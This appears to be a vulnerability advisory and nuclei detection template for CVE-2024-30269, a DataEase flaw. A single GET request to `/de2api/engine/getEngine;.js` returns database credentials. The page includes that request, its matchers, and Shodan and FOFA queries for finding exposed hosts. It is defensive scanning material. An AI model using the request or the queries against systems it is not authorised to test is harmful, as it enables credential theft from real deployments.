DataEase <= 2.4.1 - Sensitive Information Exposure

mediumseverity

5.3CVSS score

15.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

DataEase, an open source data visualization and analysis tool, has a database configuration information exposure vulnerability prior to version 2.5.0. Visiting the `/de2api/engine/getEngine;.js` path via a browser reveals that the platform's database configuration is returned.

Impact

Attackers can access sensitive configuration and credential information from the DataEase system.

Fix

Update DataEase to version 2.5.0 or later.

How to confirm it

Send: GET {{BaseURL}}/de2api/engine/getEngine;.js
Positive when: contains_all(body, "username", "password", "port", "name\":", "pid\":") and contains(content_type,"application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-30269 -u <target>

The full check

id: CVE-2024-30269

info:
  name: DataEase <= 2.4.1 - Sensitive Information Exposure
  author: s4e-io
  severity: medium
  description: |
    DataEase, an open source data visualization and analysis tool, has a database configuration information exposure vulnerability prior to version 2.5.0. Visiting the `/de2api/engine/getEngine;.js` path via a browser reveals that the platform's database configuration is returned.
  impact: |
    Attackers can access sensitive configuration and credential information from the DataEase system.
  remediation: |
    Update DataEase to version 2.5.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30269
    - https://github.com/dataease/dataease/security/advisories/GHSA-8gvx-4qvj-6vv5
    - https://github.com/dataease/dataease
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-30269
    cwe-id: CWE-200
    epss-score: 0.15875
    epss-percentile: 0.96911
  metadata:
    verified: true
    max-request: 1
    vendor: dataease
    product: dataease
    fofa-query: body="dataease"
    shodan-query: http.html:"dataease"
  tags: cve,cve2024,dataease,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/de2api/engine/getEngine;.js"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "username", "password", "port", "name\":", "pid\":")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from